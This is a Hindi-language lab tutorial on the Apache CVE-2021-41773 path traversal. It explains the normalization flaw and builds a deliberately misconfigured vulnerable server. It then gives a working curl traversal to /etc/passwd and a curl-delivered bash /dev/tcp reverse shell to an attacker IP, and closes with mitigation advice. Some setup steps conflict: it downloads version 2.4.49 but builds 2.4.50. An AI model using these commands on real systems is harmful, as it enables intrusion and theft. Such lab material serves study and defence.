
CVE 2021 41773 का POC और लैब सेटअप दस्तावेज़ीकरण
CVE-2021-41773 का POC और प्रयोगशाला सेटअप दस्तावेज़ीकरण
CVE-2021-41773, Apache HTTP सर्वर 2.4.49 और 2.4.50 में एक पथ ट्रैवर्सल भेद्यता है। यह भेद्यता इस संस्करण में पेश किए गए पथ सामान्यीकरण कोड में एक अद्यतन का शोषण करती है।
पथ सामान्यीकरण फ़ंक्शन:
सामान्यतः पथ सामान्यीकरण URL पथ को एक मानक प्रारूप में फ़िल्टर करेगा
ताकि विरोधियों को दुर्भावनापूर्ण कार्यों से रोका जा सके।
Apache HTTP Server 2.4.49 ने ap_normalize_path फ़ंक्शन में एक बदलाव पेश किया जो इस भेद्यता का मूल कारण बन गया।
यदि हम स्रोत कोड पर एक नज़र डालें, तो हम देख सकते हैं कि फ़ंक्शन दिए गए URL में प्रत्येक वर्ण के माध्यम से पुनरावृत्त होता है और सैनिटाइज़ेशन लागू करता है।
लेकिन भेद्यता कोड के उस भाग में मौजूद है, जहां यह URL डिकोडिंग करता है। फ़ंक्शन सरल है, यह केवल URL एन्कोडेड वर्ण को डिकोड करेगा
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// Decode the percent-encoded character
const char c = x2c(&path[l + 1]);
// Check if the decoded character is alphanumeric or one of the allowed symbols
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// Replace the last character with the decoded one and update position
l += 2;
path[l] = c;
}
}
यहाँ समस्या यह है कि यह केवल URL में पहले डॉट . को संभालता है, जिसका अर्थ है कि यदि हम ../ के बजाय .%2e/ देते हैं, तो सर्वर %2e को डॉट के रूप में डिकोड करेगा, जो ../ में अनुवादित हो जाएगा।
सामान्य स्थिति:
URL इनपुट: http://target/cgi-bin/../../etc/passwd
पथ सामान्यीकरण चरण:
1. ../ का पता लगाएं -> एक निर्देशिका ऊपर जाने का प्रयास।
2. सामान्यीकरण फ़ंक्शन -> ../ को हटा देगा या ब्लॉक कर देगा
कमजोर स्थिति:
URL इनपुट: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
पथ सामान्यीकरण चरण:
1. %2e को . में डिकोड करें -> परिणाम ./.././../etc/passwd है
2. आंशिक सामान्यीकरण -> .%2e/ को ../ के समकक्ष नहीं पहचानता
3. पथ ट्रैवर्सल पूरी तरह से अवरुद्ध नहीं है।
परिणामी पथ: /etc/passwd (पहुँच अनुमत)
यह समस्या तब खतरनाक और शोषणीय हो जाती है जब इसे सर्वर निर्देशों के साथ जोड़ा जाता है। ये Apache सर्वर के व्यवहार के लिए नियम के रूप में कार्य करते हैं।
Require all granted कॉन्फ़िगरेशन DocumentRoot के अंदर संसाधनों तक पहुँचने के लिए सभी अनुरोधों को स्पष्ट रूप से अनुमति देगा।
<Directory />
AllowOverride None
Require all granted # जानबूझकर कमजोर सेटिंग, यहाँ सामान्यतः इसे अस्वीकार किया गया था
</Directory>
यदि सर्वर रूट स्तर पर Require all granted निर्देश के साथ कॉन्फ़िगर किया गया है, तो यह संपूर्ण फ़ाइल सिस्टम को सार्वजनिक रूप से सुलभ बना देता है।
Apache में cgi-bin निर्देशिका डिफ़ॉल्ट रूप से Require all granted निर्देश के साथ एक उपनाम निर्देशिका है, जो सार्वजनिक पहुँच की अनुमति देती है, जिसका अर्थ है कि हर कोई /usr/local/apache2/cgi-bin/ निर्देशिका में अनुरोध कर सकता है।
ap_normalize_path फ़ंक्शन में तर्क दोष को जोड़कर जो पथ ट्रैवर्सल बाईपास की अनुमति देता है और सर्वर पर एक गलत कॉन्फ़िगर किए गए Require all granted निर्देश को मिलाकर, हमलावर इच्छित निर्देशिकाओं के बाहर सर्वर फ़ाइल सिस्टम पर फ़ाइलों तक पहुँच सकते हैं।
यदि सर्वर पर mod_cgi सक्षम है तो इस भेद्यता का और शोषण करके रिमोट कोड निष्पादन (Remote Code Execution) किया जा सकता है।
डिफ़ॉल्ट रूप से यह मॉड्यूल Apache HTTPD पर सक्षम नहीं है, इसका मतलब है कि डिफ़ॉल्ट संस्करण RCE के लिए कमजोर नहीं है।
mod_cgi सर्वर पर CGI (कॉमन गेटवे इंटरफ़ेस) स्क्रिप्ट के निष्पादन की अनुमति देता है और आउटपुट क्लाइंट को लौटाता है; इसका उपयोग मुख्य रूप से वेबसाइटों को गतिशील सुविधाएँ प्रदान करने के लिए किया जाता है।
Apache का कमजोर संस्करण डाउनलोड करें (आर्काइव से डाउनलोड करना क्योंकि कमजोर संस्करण सीधे स्थापित करने के लिए उपलब्ध नहीं है):
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
निर्भरताएँ स्थापित करें:
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
sudo apt-get install build-essential
Apache कमजोर फ़ाइल को डीकंप्रेस करें और इसे कॉन्फ़िगर करें:
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
इसे सफलतापूर्वक समाप्त करने के बाद, Apache के कॉन्फ़िगरेशन फ़ाइल पर जाएँ:
sudo nano /usr/local/apache2/conf/httpd.conf
कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित जोड़ें:
ServerName 127.0.1.1
Apache सेवाएँ प्रारंभ करें:
sudo /usr/local/apache2/bin/apachectl start
डिफ़ॉल्ट वेब सर्वर निर्देशिका पर जाएँ:
cd /usr/local/apache2/htdocs
नोट: सामान्यतः Apache के लिए रूट निर्देशिका /var/www/html होती है, यहाँ यह /usr/local/apache2/htdocs है क्योंकि हमने सर्वर को स्रोत से स्थापित नहीं किया है, हम इसे चाहें तो /var/www/html बना सकते हैं। लेकिन मैं इसे अभी के लिए वैसे ही रख रहा हूँ।
एक बुनियादी स्थैतिक वेबसाइट बनाएँ:
HTML:
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
CSS:
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
भेद्यता का अनुकरण करने के लिए Apache कॉन्फ़िगरेशन संपादित करें:
sudo nano /usr/local/apache2/conf/httpd.conf
कॉन्फ़िगरेशन फ़ाइल के इस भाग में बदलाव करें ताकि भेद्यता का शोषण किया जा सके:
<Directory />
AllowOverride None
Require all granted # जानबूझकर कमजोर सेटिंग, यहाँ सामान्यतः इसे अस्वीकार किया गया था
</Directory>
अब Apache सर्वर प्रारंभ करें:
sudo /usr/local/apache2/bin/apachectl start
निम्नलिखित टाइप करके कमजोर वेबसाइट पर जाएँ
http://<vm-ip>
प्रयोगशाला तैयार है, अब देखते हैं कि शोषण कैसे काम करता है:
यह curl अनुरोध भेद्यता को आमंत्रित करेगा:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
हम इस तरह /etc/passwd फ़ाइल या सिस्टम में किसी भी फ़ाइल तक पहुँच सकते हैं
आइए कमांड इंजेक्शन का प्रयास करें और एक रिवर्स शेल प्राप्त करने का प्रयास करें:
हमलावर मशीन पर एक netcat लिसनर सेटअप करें:
nc -lvnp 4444
अब पीड़ित को curl अनुरोध के माध्यम से Bash वन-लाइन भेजें:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
यह हमें शेल एक्सेस देगा।
संस्करण 2.4.49 और संस्करण 2.4.50 के अनुसार, अनुशंसित शमन नवीनतम संस्करण में अपग्रेड करना है।
यदि अद्यतन करना संभव नहीं है, तो सार्वजनिक पहुँच को प्रतिबंधित करने के लिए निर्देशिकाओं का ऑडिट करना उचित है:
Require all denied निर्देश उन सभी निर्देशिकाओं पर लागू किया जाना चाहिए जो सार्वजनिक पहुँच के लिए अभिप्रेत नहीं हैं, और कभी भी रूट/निर्देशिका पर नहीं।
/cgi-bin निर्देशिका को Require all denied निर्देश के साथ कॉन्फ़िगर किया जाना चाहिए और इसे उपनाम के रूप में सेट नहीं किया जाना चाहिए।